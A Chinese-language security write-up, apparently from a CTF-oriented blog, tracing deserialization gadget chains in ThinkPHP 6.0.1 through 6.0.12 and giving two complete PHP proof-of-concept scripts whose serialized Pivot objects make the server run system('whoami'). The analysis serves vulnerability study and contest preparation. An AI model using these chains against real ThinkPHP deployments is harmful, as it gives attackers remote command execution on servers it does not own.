文章首发于先知社区:ThinkPHP6.0 反序列化漏洞
当时学tp就是为了国赛,审了审3和5的寻思已经够用了肯定不能出6的吧就没再审,没想到这次就出了6.012的反序列化还好很简单,所以还是回过头审一遍吧
序言 · ThinkPHP6.0完全开发手册 · 看云 (kancloud.cn)
6.0.1
composer create-project topthink/think tp6.0.1
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.1",
"topthink/think-orm": "^2.0"
},
composer update
6.0.12
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project topthink/think tp6.0.12
控制器仿照国赛样式写到了index控制器里写了个test方法
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function test(){
unserialize($_POST['a']);
}
}
写好后发现不是很好理解,应该用回溯法写的,先这样吧。。。。。。。
先从旧版本开始,等会再看国赛6.0.12的
反序列化先找入口
/vendor/topthink/think-orm/src/Model.php
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
lazySave可控,直接跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
直接调用了save()
方法没有传任何值,所以$this->setAttrs($data);
中什么都没执行,接着进入if语句
public function isEmpty(): bool
{
return empty($this->data);
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
想绕过if,让$this->data
有值,$this->withEvent
为false即可
接着进入updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
...............................
}
第一个if还是进行了trigger()
判断,跟前边那个一样,可以直接绕过,checkData()
也没执行任何东西,接着跟进$data = $this->getChangedData();
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
控制$this->force
的值即可将我们传入的$this->data
的值给$data
接着进入下边的checkAllowFields()
,进入db()->instance()
,最后
return $this->instance[$name];
由于$this是类DbManager
的实例化,所以会执行__toString(),下面的几部操作就跟tp5.1的很像了
__toString()->
toJson()->
toArray()->
getAttr()
$data = array_merge($this->data, $this->relation);
,这里$this->data
是可控的即:我们传入的值,之后会进行if判断,只要我们在初始化时不给$this->hidden
和$hasVisible
值,默认就可进入这条if语句
跟进getAttr()
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
最后会执行getValue
,用到参数$name, $value, $relation
,所以跟进一下getData()
看下$value的值
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
再跟进getRealFieldName()
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
return $name;
}
$this->convertNameToCamel
这里为空,$this->strict
默认也是true,所以直接return $name
。所以 $fieldName=$name
,当$this->data中存在键$fieldName
即会retrun返回(这里回溯到toArray()方法中,其实$fieldName就是我们data的键值)
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
所以最后的getAttr#value
=我们传入的$data的值
看完$value,回到getAttr()
,进入getValue()
,else语句中会执行如下语句
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
$closure = $this->withAttr[$fieldName];
,如果构造
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
那么$fieldName=$data的key=key
,withAttr[$fieldName]=withAttr['key']=system
,之后执行 $closure($value, $this->data);,就相当于system('whoami');
,最后retrun返回即成功命令执行
POC
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
具体影响版本我也没测试,应该就是6.0.4—6.0.12吧,
前边都是一样的只是后边的else语句发生了变化:
之前
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
现在:
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
在执行 $value = $closure($value, $this->data);
之前多了一条if判断,它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了,但师傅们想到了另一种方法,就是进入if中的getJsonValue()
,跟进看一下
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}
只要构造$this->jsonAssoc = true;
,就能进入if执行 $value[$key] = $closure($value[$key], $value);
从而达到同样的效果
下面看一下具体绕过方式:
首先就是绕过if判断 if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
先看in_array($fieldName, $this->json)
,之前也说过其实$fieldName就是我们data的键值,所以可以构造:
protected $json = ["key"];
当data的键为key时,$fieldName
就为key,那就满足了in_array
再看is_array($this->withAttr[$fieldName])
相当于判断withAttr[‘key’]是否为数组,所以就可以构造:
private $withAttr = ["key"=>["key1"=>"system"]];
绕过后便进入了getJsonValue()
——>$value = $this->getJsonValue($fieldName, $value); 其中$fieldName, $value分别是data的键和值,上条链有说过。先看下最后设置的$data值
private $data = ["key" => ["key1" => "whoami"]];
跟进后看下foreach语句,$name是上边的$fieldName=key,$value还是之前的$value的值=[“key1” => “whoami”]
protected function getJsonValue($name, $value)
{
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
}
所以这里withAttr[$name]=withAttr['key']=["key1"=>"system"]
,所以经过foreach后$key=key1,$closure=system
将$this->jsonAssoc
设为true——>$this->jsonAssoc = true;
最后进入if,$closure($value[$key],$value);
=>system('data[‘key1]’,$value)=>system(‘whoami’,$value);
所以最后成功执行并retrun返回了
POC
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
整体来说链子不难,但我感觉这条链子挖掘起来应该比tp5的难一些,因为感觉内部调用过程有些乱